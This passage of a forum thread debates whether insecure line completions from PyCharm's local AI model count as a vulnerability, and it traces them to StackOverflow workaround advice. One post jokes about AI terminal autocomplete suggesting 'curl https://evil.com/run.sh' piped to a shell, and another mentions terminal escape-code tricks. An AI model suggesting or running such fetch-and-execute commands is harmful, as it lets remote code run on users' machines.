Maybe not a vulnerability per se, but definitely conducing to ones, as others have noted. However, those completions are quite unfortunate to say the least, thus one would hope JetBrains would endeavour to improve the local (S)LM they're using, or at least offer the user the option to use one of their own, better tuned ones instead?
Are insecure code completions in PyCharm a vulnerability?
11–18 of 18 posts
Re: Are insecure code completions in PyCharm a vulnerability?
#12Re: Are insecure code completions in PyCharm a vulnerability?
#13Re: Are insecure code completions in PyCharm a vulnerability?
#14I have this line completion feature in koieditor.com as well, and it's hard to suggest "safe"/good completions at a low latency. Best approach I could think of is a second pass to verify first pass, but adds to latency, or change to better model, which often also impacts latency.
Re: Are insecure code completions in PyCharm a vulnerability?
#15What is “monster-in-the-middle” and why is it being used in place of (presumably) “man-in-the-middle”?
This came up the other day:
https://news.ycombinator.com/item?id=48457158
Re: Are insecure code completions in PyCharm a vulnerability?
#16This is just a continuation of common StackOverflow advice to "make it work", which the LLMs use as "knowledge":
https://stackoverflow.com/a/28002687
https://stackoverflow.com/a/32282390
https://stackoverflow.com/a/18062293
Naive users used to copy paste those things from StackOverflow, now they can use line completion in their editor.
Re: Are insecure code completions in PyCharm a vulnerability?
#17Waiting for the first terminal with AI autocompletion. $ curl http $ curl https://evil.com/run.sh Then you’re just an enter away from causing havoc on your system.
Well, technically it's not the curl itself that is the problem, but the "| " coming afterwards that does the damage. So, if the process is somehow broken up into 1) curl ; 2) analyse and 3) only if safe, then execute -- then it's not nearly as bad. Of course, that "analyse" step does all the heavy lifting, and if it happens to involve some form of local LLM then... excitement is guaranteed as they say.
curl can do evil things by itself due to terminal escape codes - a popular one was to set the title and then read the title back, which effectively types text into the terminal
Re: Are insecure code completions in PyCharm a vulnerability?
#18Earlier quoted context omitted.
Well, technically it's not the curl itself that is the problem, but the "| " coming afterwards that does the damage. So, if the process is somehow broken up into 1) curl ; 2) analyse and 3) only if safe, then execute -- then it's not nearly as bad. Of course, that "analyse" step does all the heavy lifting, and if it happens to involve some form of local LLM then... excitement is guaranteed as they say.
curl can do evil things by itself due to terminal escape codes - a popular one was to set the title and then read the title back, which effectively types text into the terminal
Ah, the xterm "read title" bug, I seem to remember that was fixed some while ago, wasn't it? But yes, that is true, it's possible to exploit anything with enough determination; it wasn't that long ago that "viruses in image files" was a joke, but then we had the Android wallpaper bricker a few years ago... In the meantime, we have a few more layers of indirection between the code and the user, each one of them adding potential surfaces.